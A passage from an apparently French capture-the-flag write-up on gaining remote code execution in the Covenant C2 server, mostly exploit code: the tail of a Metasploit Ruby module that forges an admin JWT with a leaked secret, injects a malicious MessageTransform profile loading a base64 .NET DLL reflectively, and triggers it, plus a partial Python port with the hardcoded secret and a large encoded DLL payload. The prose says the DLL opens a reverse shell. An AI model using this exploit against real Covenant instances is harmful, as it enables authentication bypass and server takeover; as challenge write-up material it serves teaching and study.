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'
payload =
"""public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = \"#{dll}\";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { \"\" } };
try {
type.GetMethod(\"Main\").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}"""
end
def is_admin(user)
roles = JSON.parse(read_user_role(user['id']))
ret = false
roles.each do |role|
ret = true if role['roleId'] == @roleid_admin
end
ret
end
def list_users
request_api('GET', normalize_uri('api', 'users')).body
end
def read_grunt_cfg
data = {
'id': 0,
'listenerId': read_listener_id,
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': true,
'useCertPinning': true,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': false
}
# gerenate grunt payload
response = request_api('PUT', normalize_uri('api', 'launchers', 'binary'), data.to_json)
if !response.nil?
response = request_api('POST', normalize_uri('api', 'launchers', 'binary'), data.to_json)
end
if !response.nil?
return parse_grunt_cfg(response.body)
end
nil
end
def read_listeners
response = request_api('GET', normalize_uri('api', 'listeners'))
return response.body unless response.nil?
nil
end
def read_listener_id
listeners = read_listeners
unless listeners.nil?
listeners = JSON.parse(listeners)
listeners.each do |listener|
return listener['id'].to_i if listener['name'] == @listener_name
end
end
return(-1)
end
def read_listener_type(name)
response = request_api('GET', normalize_uri('api', 'listeners', 'types'))
unless response.nil?
listeners_types = JSON.parse(response.body)
listeners_types.each do |listener_type|
if listener_type['name'].downcase == name.downcase
return listener_type['id'].to_i
end
end
end
return(-1)
end
def read_roleid_admin
roles = request_api('GET', normalize_uri('api', 'roles')).body
role_id = ''
roles = JSON.parse(roles)
roles.each do |role|
if role['name'].downcase == 'administrator'
role_id = role['id']
end
end
role_id
end
def read_user_role(id)
request_api('GET', normalize_uri('api', 'users', id, 'roles')).body
end
def request_api(method, uri, data = nil)
headers = {}
headers['Authorization'] = "Bearer #{@token}"
request = {
'method' => method,
'uri' => uri,
'headers' => headers
}
if method =~ /POST|PUT/
request = request.merge({'ctype' => 'application/json', 'data' => data}) unless data.nil?
end
response = send_request_cgi(request)
if response && response.code.to_s =~ /200|201/
return response
end
nil
end
def message(msg)
"#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def parse_grunt_cfg(cfg)
cfg = JSON.parse(cfg)
# TODO: better way (https://rubular.com/)
aes_key = cfg['stagerCode'].match(/.*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);.*$/).to_s.split("\"")[1]
guid_prefix = cfg['stagerCode'].match(/.*string\saGUID\s=\s@\"(.*?)\";.*$/).to_s.split("\"")[1]
return([aes_key, guid_prefix])
end
def random_id
"#{SecureRandom.hex(4)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(6)}"
end
def upload_profile
data = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': '{DATA}',
'httpPostResponse': '{DATA}',
'id': 0,
'name': "#{SecureRandom.hex(5)}",
'description': '',
'type': 'HTTP',
'messageTransform': "#{generate_transform_payload}"
}
response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
return response['location'].split('/')[-1] unless response.nil?
nil
end
def check
@ip_address = datastore['RHOST']
print_status(message('Trying to connect.'))
# generate jwt token w/ ramdomized username.
@token = generate_jwt
unless list_users.nil?
report_vuln(
host: @ip_address,
name: name,
refs: references,
)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# check for active listener conflict.
if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
fail_with(Failure::Unknown, "The remote Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
end
print_status(message('Generating admin token w/ leaked JWT secret.'))
# generate jwt token w/ ramdomized username.
@token = generate_jwt
print_status(message('Impersonating an admin user... finding token fields:'))
# get role id with administrative right.
@roleid_admin = read_roleid_admin
print_good(message(" * found admin UID: #{@roleid_admin}."))
users = JSON.parse(list_users)
users.each do |user|
next if user['userName'].downcase == 'serviceuser'
if is_admin(user)
print_good(message(" * found admin user: #{user['userName']}"))
print_status(message('Generating new admin token w/ leaked JWT secret.'))
# generate jwt token w/ spoofed username and user id.
@token = generate_jwt(user['userName'], user['id'])
break
end
end
# generate and upload malicious profile.
print_status(message('Genarate and inject malicious profile.'))
profile_id = upload_profile
fail_with(Failure::Unknown, 'Could not upload the malicious profile.') if profile_id.nil?
# create a listener w/ embeded malicious profile.
@listener_name = SecureRandom.hex(4)
if create_listener(profile_id.to_i) == false
fail_with(Failure::Unknown, 'Could not create the malicious listener.')
end
print_status(message('Get GRUNT configuration:'))
# get grunt configuration (guid prefix and aes key).
aes_key, guid_prefix = read_grunt_cfg
print_good(message(" * AES key: #{aes_key}"))
print_good(message(" * GUID prefix: #{guid_prefix}"))
print_status(message('Sending stage0 to trigger exploitation.'))
# trigger the exploitation.
generate_stage0(aes_key, "#{guid_prefix}#{SecureRandom.hex(5)}")
end
end
Cet exploit nous apprends quand même quelque chose de fort utilise: la méthodologie de l’attaque. On va tenter d’injecter un DLL dotnet dans le processus Covenant, qui détient obligatoirement les privilèges Administrateur System, en abusant du token administrateur qu’on a précédemment généré. L’exploit s’articule en 5 étapes:
- On récupère la liste des utilisateurs et on craft le token admin
- On utilise le token admin pour créer un profil malicieux sur le covenant dans lequel on va placer une DLL vérolée qui, à son exécution, lance un reverse shell. Pour cela on exploit l’option MessageTransform qui permet de personnaliser l’encodage des communications entre le C2 et une victime infectée. L’option MessageTransform prend en paramètre le code d’une classe C# dotnet (que l’on doit appeler MessageTransform). Malheureusement, on ne peut pas lancer le reverse shell directement depuis la classe MessageTransform que l’on vient de créer, car elle n’a pas accès a toutes les fonctionnalités du namespace System (nécessaire pour exécuter des commandes). Cependant on a accès à toutes les classes nécessaires pour injecter un DLL dans la mémoire du processus (les classes Activator de System et Assembly de System.Reflection). Comme expliqué dans l’article, passer par un DLL qu’on va invoquer permet de passer outre cette restriction.
- On créé un listener malicieux lié au profil malicieux
- On récupère la configuration grunts de notre listener
- On lance la stage finale: on se connecte au listener Covenant que l’on a créé, ce qui a pour effet d’activer la DLL vérolée et de pop le reverse shell.
Comme mon langage de prédilection est le python, et que je n’y connais rien en Ruby, je me motive enfin à (re)programmer entièrement l’exploit en python. Ce fut très long et fastidieux, mais j’ai réussi à parvenir à mes fins. Je laisse au lecteur le soin de poser ces questions en commentaires.
import jwt
import time
import requests
from colorama import *
import random
import base64
import time
import sys
import re
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib
import json
import socket
import subprocess
def randomhex(size) -> str:
char = "abcdef0123456789"
random_hex = ""
for i in range(0,size*2):
random_hex += random.choice(char)
return random_hex
def random_jti() -> str:
f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
def crypt_sha256(content):
crypto = hashlib.sha256()
if isinstance(content,str): content = content.encode()
crypto.update(content)
return crypto.digest()
def _pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
class exploit():
def __init__(self):
self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
self.c2_port = 0 # port sur lequel le client va se connecter
self.ADMIN_NAME = ""
self.ADMIN_ID = ""
self.ADMIN_TOKEN = ""
def _gen_jwt(self,USER,USERID):
EXPIRATION = 1968264576
content = {
"sub": USER,
"jti": random_jti(),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": EXPIRATION,
"iss": "Covenant",
"aud": "Covenant"
}
return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')
def get_user_list(self) -> dict:
USER = "hackline"
USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
token = self._gen_jwt(USER,USERID)
r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
for user in r.json():
print("""- %s : %s""" % (user["userName"],user["id"]))
return r.json()
def generate_transform_payload(self):
# POC: execute calc
#dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
